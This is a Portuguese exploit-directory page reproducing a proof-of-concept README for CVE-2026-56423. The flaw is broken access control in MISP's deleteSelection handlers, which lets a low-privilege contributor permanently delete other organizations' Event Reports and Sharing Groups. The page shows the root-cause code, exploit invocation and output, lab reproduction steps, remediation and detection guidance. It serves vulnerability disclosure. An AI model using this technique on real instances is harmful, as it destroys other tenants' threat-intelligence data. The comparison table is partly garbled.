Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl — Prova de Conceito para CVE-2026-56423: Controle de acesso quebrado no deleteSelection do MISP (CWE-862, contribuidor exclui permanentemente Relatórios de Eventos/Grupos de Compartilhamento de outras organizações, CVSS 8.8) | Kitploit
Ferramentas/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoInteligência de AmeaçasConfiguração Incorreta
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Prova de Conceito para CVE-2026-56423: Controle de acesso quebrado no deleteSelection do MISP (CWE-862, contribuidor exclui permanentemente Relatórios de Eventos/Grupos de Compartilhamento de outras organizações, CVSS 8.8)

Ver Repositório
há 1 mêsAinda não revisado

CVE-2026-56423 — MISP deleteSelection Controle de Acesso Quebrado

Prova de conceito para uma falha de autorização ausente nos fluxos de exclusão em massa do MISP para Relatórios de Evento e Grupos de Compartilhamento. Os manipuladores deleteSelection autorizam cada item selecionado com um callback que ignora o item e retorna a permissão global de função (perm_add / perm_sharing_group) do chamador, em vez de uma verificação de propriedade por objeto. Um contribuidor de baixo privilégio (a função padrão "Usuário") pode, portanto, enviar IDs/UUIDs de relatórios pertencentes a qualquer organização e excluí-los permanentemente em toda a instância, mesmo que a ação delete por objeto corretamente protegida negue exatamente a mesma requisição.

CVECVE-2026-56423
ProdutoMISP (Plataforma de Compartilhamento de Informações sobre Malware) core
AfetadoMISP CE/EE ≤ 2.5.41
Corrigido2.5.42
ClasseCWE-862 — Autorização Ausente (controle de acesso quebrado em nível de objeto)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
AutenticaçãoAutenticado, baixo privilégio (qualquer função com perm_add, ex. "Usuário")
Publicado2026-06-22
StatusCONFIRMADO — contribuidor exclui relatório de outra organização na 2.5.40; negado na 2.5.42

Causa raiz

app/Controller/EventReportsController.php (tag v2.5.40):

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignora $itemId → booleano global da função
        },
    ]);
}

CRUDComponent::deleteSelection chama esse checkModifyCallback para cada id selecionado e exclui o objeto sempre que ele retorna verdadeiro:

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

Como o callback retorna $this->userRole['perm_add'] — um booleano global que é verdadeiro para a função padrão "Usuário" — a propriedade do relatório alvo nunca é verificada. Em contraste, a ação delete($id) de objeto único chama corretamente EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') e nega relatórios estrangeiros.

SharingGroupsController::deleteSelection tem o mesmo defeito usando perm_sharing_group.

A correção na 2.5.42 (commits ada02fa, f99b3f1) substitui o callback por uma verificação por item EventReport::fetchIfAuthorized($user, $itemId, 'delete').

Veja ANALYSIS.md para o passo a passo completo.

Pré-condições (documentadas honestamente)

  1. O atacante possui qualquer conta cuja função tenha perm_add — a função Usuário embutida, concedida a contribuidores comuns em instâncias multi-organização.
  2. MISP.enable_themes = true. A ação deleteSelection é controlada pela ACL com AND(theming_enabled, perm_add), onde theming_enabled mapeia para a configuração MISP.enable_themes. Essa configuração está desativada por padrão, mas é uma flag de recurso de interface normal ativada em muitas instâncias (ela alimenta a UI de índice/lista v2). Com ela desativada, a ação retorna HTTP 403 antes que o callback defeituoso seja executado.

Exploit

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <contributor_authkey> \
    --admin-key   <admin_authkey_used_only_to_confirm_the_target> \
    --report-id   <id_of_a_report_owned_by_another_org>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

Reproduzir

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

Limite VULN/CORRIGIDO (empírico)

Requisição (contribuidor de baixo privilégio, relatório de outra organização)v2.5.40v2.5.42
delete/{id} corretamente protegido404 negado404 negado

A mesma requisição muda de sucesso para negação na correção, e a exclusão por objeto corretamente protegida é negada em ambas — provando que o bug é a autorização por objeto ausente em deleteSelection, não uma conta mal configurada. Transcrição completa em EVIDENCE.txt.

Impacto

Qualquer usuário de baixo privilégio em uma instância MISP compartilhada pode excluir permanentemente Relatórios de Evento — narrativa de analista anexada a eventos de inteligência de ameaças — e Grupos de Compartilhamento pertencentes a outras organizações, em toda a instância. Isso é um comprometimento de integridade/disponibilidade entre inquilinos de uma plataforma de inteligência de ameaças na qual CERTs, ISACs e SOCs confiam.

Remediação

  • Atualize o MISP para 2.5.42 ou superior.
  • A correção impõe EventReport::fetchIfAuthorized($user, $itemId, 'delete') por item selecionado; o mesmo padrão é aplicado aos Grupos de Compartilhamento.

Detecção

Audite os logs do MISP em busca de requisições EventReports/deleteSelection (e SharingGroups/deleteSelection) onde a organização do usuário atuante difere da organização proprietária do objeto excluído.

Créditos

Pesquisa e PoC por Caio Fabrício (@BiiTts).

Licença

MIT — veja LICENSE.

Baixar ferramenta
deleteSelection do mesmo relatório
200 — excluído permanentemente
403 — "Não foi possível excluir"; relatório intacto